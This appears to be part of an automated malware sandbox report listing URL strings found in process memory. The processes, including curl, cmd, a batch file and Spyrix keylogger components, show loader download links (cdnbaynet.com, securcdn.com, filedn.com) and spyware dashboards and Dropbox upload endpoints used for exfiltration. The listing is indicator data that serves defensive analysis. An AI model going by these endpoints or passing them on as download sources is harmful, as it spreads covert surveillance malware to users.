Source: [space]= .exe, 00000013.00000003.1872221233.000000007FD10000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000013.00000003.1871453618.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000000.1873347361.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: [space]= .tmp, 00000016.00000003.2457362812.0000000003408000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003321000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.jrsoftware.org/0
Source: [space]= .exe, 00000013.00000000.1870033970.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: spkl.exe, 00000038.00000003.2483675569.0000000007720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.myspace.com/my/mail
Source: spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2483675569.0000000007720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.myspace.com/search/
Source: spkl.exe, 00000038.00000002.2742570837.000000000457B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2483675569.0000000007720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.ok.ru/dk?st.cmd=searchResult
Source: [space]= .exe, 00000013.00000003.1872221233.000000007FD10000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000013.00000003.1871453618.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000000.1873347361.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://www.spyrix.com
Source: [space]= .exe, 00000013.00000003.1870585486.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000013.00000003.2474200016.000000000205E000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003200000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.2455460766.0000000003280000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.2457362812.0000000003432000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com/
Source: spkl.exe	String found in binary or memory: http://www.spyrix.com/manual.php#registrate
Source: spkl.exe, 00000038.00000002.2691175840.00000000009EA000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000038.00000002.2746632236.000000000652A000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000003.2422306843.0000000004591000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com/osticket/upload/open.php
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://www.spyrix.com/pro_upgrade.htm?lic=
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp, is-SDGI4.tmp.22.dr, is-2HD8H.tmp.22.dr, is-4EDJE.tmp.22.dr	String found in binary or memory: http://www.spyrix.com/purchase.php
Source: [space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.2454626435.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.spyrix.com/terms-of-use.php)
Source: spkl.exe, 00000038.00000003.2422306843.00000000044CC000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2691175840.0000000000915000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://www.spyrix.net/ibann
Source: spmm.exe, 0000004D.00000002.2690989523.0000000061E9E000.00000008.00000001.01000000.00000015.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/token
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/chunked_upload
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/chunked_upload?
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/commit_chunked_upload
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/files/dropbox
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/files/sandbox
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/files_put
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api-content.dropbox.com/1/files_put?
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/account/info
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/account/info?
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/delta
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/delta?
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/copy
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/copy?
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/create_folder
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/create_folder?
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/delete
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/delete?
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/move
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/fileops/move?
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/metadata/dropbox
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/metadata/sandbox
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/oauth/access_token
Source: spkl.exe	String found in binary or memory: https://api.dropbox.com/1/oauth/access_token?
Source: spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/oauth/access_token?SV
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/oauth/request_token
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/oauth/request_token?
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/shares/dropbox
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://api.dropbox.com/1/shares/sandbox
Source: [space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://cdn.cdndownload.net/proxy/list.json
Source: curl.exe, 0000000E.00000002.1613915870.0000000002D30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000002.1613960897.0000000002D44000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000002.1614035419.0000000002D79000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000003.1613409560.0000000002D40000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000003.1613488405.0000000002D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfk
Source: cmd.exe, 0000000A.00000003.1598991147.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfk&A
Source: curl.exe, 0000000E.00000002.1613915870.0000000002D39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfk77
Source: cmd.exe, 0000000A.00000003.1614181304.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfk8A
Source: curl.exe, 0000000E.00000002.1613960897.0000000002D44000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000003.1613409560.0000000002D40000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000003.1613488405.0000000002D43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfkE=E3
Source: curl.exe, 0000000E.00000002.1613915870.0000000002D30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfkU
Source: cmd.exe, 0000000A.00000003.1598991147.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000002.1613915870.0000000002D30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000002.1613844777.0000000002B30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfkWinsta0
Source: cmd.exe, 0000000A.00000003.1598991147.00000000007EC000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000002.1613915870.0000000002D30000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000002.1613844777.0000000002B30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdnbaynet.com/loader/link.php?prg_id=sfkcurl.exe
Source: spkl.exe, 00000038.00000002.2753080685.00000000075E0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2756912357.00000000077BD000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2726762987.0000000001811000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: qrl.exe, 00000047.00000000.2538418999.00000000006BA000.00000008.00000001.01000000.00000017.sdmp, qrl.exe, 00000049.00000002.2606859968.00000000006BA000.00000008.00000001.01000000.00000017.sdmp, qrl.exe, 0000004B.00000000.2579493629.00000000006BA000.00000008.00000001.01000000.00000017.sdmp, qrl.exe, 0000004E.00000002.2655442094.00000000006BA000.00000008.00000001.01000000.00000017.sdmp	String found in binary or memory: https://curl.haxx.se/P
Source: qrl.exe, 00000047.00000000.2538418999.00000000006BA000.00000008.00000001.01000000.00000017.sdmp, qrl.exe, 00000049.00000002.2606859968.00000000006BA000.00000008.00000001.01000000.00000017.sdmp, qrl.exe, 0000004B.00000000.2579493629.00000000006BA000.00000008.00000001.01000000.00000017.sdmp, qrl.exe, 0000004E.00000002.2655442094.00000000006BA000.00000008.00000001.01000000.00000017.sdmp	String found in binary or memory: https://curl.haxx.se/docs/copyright.htmlD
Source: qrl.exe, qrl.exe, 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000049.00000002.2606650716.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004B.00000000.2579396035.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004E.00000000.2603252461.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: qrl.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html#
Source: qrl.exe, qrl.exe, 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000049.00000002.2606650716.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004B.00000000.2579396035.00000000005F2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 0000004E.00000000.2603252461.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://curl.haxx.se/docs/sslcerts.html
Source: qrl.exe	String found in binary or memory: https://curl.haxx.se/docs/sslcerts.htmlcurl
Source: qrl.exe, 0000004E.00000000.2603252461.00000000005F2000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://curl.haxx.se/libcurl/c/curl_easy_setopt.html
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://dashboard.actualkeylogger.com
Source: spkl.exe	String found in binary or memory: https://dashboard.actualkeylogger.com/account/login-from-program
Source: spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://dashboard.actualkeylogger.com/account/login-from-programspsMapspsJSON
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://dashboard.clevercontrol.com/account/user-hash-gen
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://dashboard.spyrix.com
Source: spkl.exe, 00000038.00000002.2742570837.000000000455D000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2742570837.00000000044E6000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2755859416.0000000007720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/
Source: spkl.exe, 00000038.00000002.2746632236.000000000652A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/.spyrix.com/qqS
Source: spkl.exe, 00000038.00000002.2746632236.000000000652A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/6s
Source: spkl.exe, 00000038.00000002.2750231481.0000000006A70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/;ce
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://dashboard.spyrix.com/account/login-from-program
Source: [space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/account/login-from-program?email=
Source: spkl.exe, 00000038.00000002.2742570837.00000000044E6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dashboard.spyrix.com/ix.com/
Source: [space]= .exe, 00000007.00000002.1804766822.0000000002FA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com
Source: curl.exe, 00000006.00000002.1549010969.000001CE89170000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000002.1549010969.000001CE89178000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000002.1549010969.000001CE89188000.00000004.00000020.00020000.00000000.sdmp, D0WmCTD2qO.bat	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404
Source: curl.exe, 00000006.00000002.1549010969.000001CE89170000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404Winsta0
Source: curl.exe, 00000006.00000002.1549010969.000001CE89170000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404curl.exe
Source: [space]= .exe, 00000007.00000002.1804766822.0000000002F7E000.00000004.00000800.00020000.00000000.sdmp, [space]= .exe.6.dr	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/
Source: [space]= .exe, 00000007.00000002.1804766822.0000000002F7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/rtyRe243ohygdfrEewd234/s6
Source: svchost.exe, 00000008.00000003.1559425141.00000274054E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000008.00000003.1559425141.0000027405470000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:
Source: [space]= .exe.6.dr	String found in binary or memory: https://securcdn.com/loader/link.php?prg_id=sfkupowershell.exe
Source: [space]= .exe, 00000013.00000003.1870585486.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000013.00000003.2474200016.000000000205E000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003200000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.2455460766.0000000003280000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.2455460766.0000000003307000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.app/manual/kaspersky-loader/step1
Source: [space]= .exe, 00000013.00000003.1870585486.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, [space]= .exe, 00000013.00000003.2474200016.000000000205E000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.1875219157.0000000003200000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.2455460766.0000000003280000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.2455460766.0000000003307000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.app/manual/kaspersky-loader/step18
Source: [space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.app/manual/kaspersky-loader/step2
Source: spkl.exe, spkl.exe, 00000038.00000003.2416007307.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2750231481.0000000006AE8000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000038.00000002.2673755823.0000000000401000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: https://spyrix.net/Uwas771wvshs7916gjqg62417/core.php
Source: spkl.exe, 00000038.00000003.2605309079.00000000001E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/das
Source: [space]= .tmp, 00000016.00000003.2462875945.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/av
Source: spkl.exe, 00000038.00000002.2753080685.00000000075E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/p
Source: qrl.exe, qrl.exe, 00000049.00000002.2608232514.0000000001B8D000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000049.00000003.2604925511.0000000001B8B000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000049.00000002.2607715757.0000000001690000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000049.00000002.2607961539.0000000001B80000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004B.00000003.2614091454.00000000018DB000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004B.00000002.2616089382.00000000018D0000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004B.00000002.2615599074.00000000014A0000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004B.00000002.2616238123.00000000018DD000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004E.00000002.2658657384.00000000011D0000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004E.00000002.2658435418.0000000000E10000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004E.00000003.2646135964.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004E.00000002.2658904799.00000000011DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actions
Source: qrl.exe, 0000004B.00000002.2616089382.00000000018D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actions.e
Source: qrl.exe, 00000047.00000002.2583125482.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actions//swtb-
Source: qrl.exe, 00000047.00000002.2582806090.0000000000C50000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000047.00000002.2583023321.0000000000DB0000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000049.00000002.2607715757.0000000001690000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000049.00000002.2607477587.00000000014C0000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004B.00000002.2615286703.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004B.00000002.2615599074.00000000014A0000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004E.00000002.2658435418.0000000000E10000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004E.00000002.2658177184.0000000000C80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsC:
Source: qrl.exe, 0000004E.00000002.2658435418.0000000000E10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsG
Source: qrl.exe, 0000004B.00000002.2616089382.00000000018D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsOMEPATH-
Source: qrl.exe, 0000004E.00000002.2658657384.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionseDrive
Source: spkl.exe, 00000038.00000002.2726762987.0000000001811000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsin
Source: qrl.exe, 00000049.00000002.2607961539.0000000001B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsive#
Source: qrl.exe, 00000047.00000002.2583202617.00000000010FD000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000047.00000003.2578411599.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsll
Source: qrl.exe, 00000047.00000002.2583125482.00000000010F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsta=C:
Source: qrl.exe, 00000049.00000002.2607961539.0000000001B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsubertl
Source: qrl.exe, 0000004E.00000002.2658657384.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsubertlS
Source: qrl.exe, 0000004B.00000003.2614091454.00000000018DB000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 0000004B.00000002.2616238123.00000000018DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsuu
Source: qrl.exe, 00000049.00000002.2608232514.0000000001B8D000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000049.00000003.2604925511.0000000001B8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spyrix.net/dashboard/prg-actionsuu7
